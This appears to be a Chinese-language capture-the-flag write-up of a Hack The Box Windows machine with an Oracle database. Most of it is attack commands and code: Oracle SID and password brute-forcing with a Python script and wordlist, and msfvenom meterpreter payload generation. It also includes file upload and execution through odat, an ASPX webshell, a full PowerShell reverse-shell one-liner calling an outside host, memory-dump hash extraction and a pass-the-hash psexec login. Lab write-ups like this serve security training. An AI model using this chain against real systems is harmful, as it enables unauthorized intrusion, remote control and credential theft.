信息收集

$ nmap -p- 10.10.10.82 --min-rate 1000 -sC -sV -Pn

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn?
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  oracle-tns   Oracle TNS listener (requires service name)                                                                                 49161/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submi
t.cgi?new-service :
SF-Port139-TCP:V=7.70%I=7%D=4/21%Time=5ADBEBEB%P=x86_64-pc-linux-gnu%r(Get
SF:Request,5,"\x83\0\0\x01\x8f");
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Oracle 数据库读写执行文件&& HTTP

1.爆破SID

$ msfconsole

msf6 > use admin/oracle/sid_brute

msf6 auxiliary(admin/oracle/sid_brute) > set RHOSTS 10.10.10.82

有四个潜在的SID：'XE'，'XEXDB'，'PLSExtProc'和'CLRExtProc'

2.猜解用户

#!/usr/bin/env python

import cx_Oracle
import sys
from multiprocessing import Pool

MAX_PROC = 50
host = "10.10.10.82"
sid = "XE"

def usage():
    print("{} [ip] [wordlist]".format(sys.argv[0]))
    print("  wordlist should be of the format [username]:[password]")
    sys.exit(1)

def scan(userpass):
    u, p = userpass.split(':')[:2]
    try:
        conn = cx_Oracle.connect('{user}/{pass_}@{ip}/{sid}'.format(user=u, pass_=p, ip=host, sid=sid))
        return u, p, True
    except cx_Oracle.DatabaseError:
        return u, p, False


def main(host, userpassfile, nprocs=MAX_PROC):
    with open(userpassfile, 'r') as f:
       userpass = f.read().rstrip().replace('\r','').split('\n')

    pool = Pool(processes=nprocs)

    for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
        if status:
            print("Found {} / {}\n\n".format(username, pass_))
        else:
            sys.stdout.write("\r {}/{}                               ".format(username, pass_))

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
    main(sys.argv[1], sys.argv[2])

admin:password
guest:qwerty
scott:password123
alice:secure
admin:admin
root:password
guest:welcome
johndoe:secret
charlie:abc123
admin:letmein
bob:password123
test:qwerty
scott:123456
root:letmein
alice:password
admin:welcome
SCOTT:tiger
guest:password
bob:abc123
scott:secret
charlie:123456

$ python3 exp.py 10.10.10.82 word

3.连接数据库查询权限

$ odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba

存在写文件权限,执行权限

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f exe -o /tmp/reverse_shell.exe --encoder x86/shikata_ga_nai

$ odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/ reverse_shell.exe /tmp/reverse_shell.exe

$ odat externaltable -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --exec c:/ reverse_shell.exe

正常路径应该是上传webshell

$ odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/inetpub/wwwroot shell.aspx /usr/share/webshells/aspx/cmdasp.aspx

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.16.24', 10034);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

User.txt

ae508318075a2c95be891b11d8c79212

权限提升 && 内存取证 && Hash传递攻击

type "\users\Phineas\Desktop\Oracle issue.txt"

https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

Dropbox链接返回一个内存转储,需要Google账户登录下载

获取主机版本号

$ sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py kdbgscan -f /tmp/SILO-20180105-221806.dmp

$ sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist

$ sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000

哈希传递攻击

aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7

$ impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7

Root.txt

ef0298798ac15279f3b3aec8e4aa14e8

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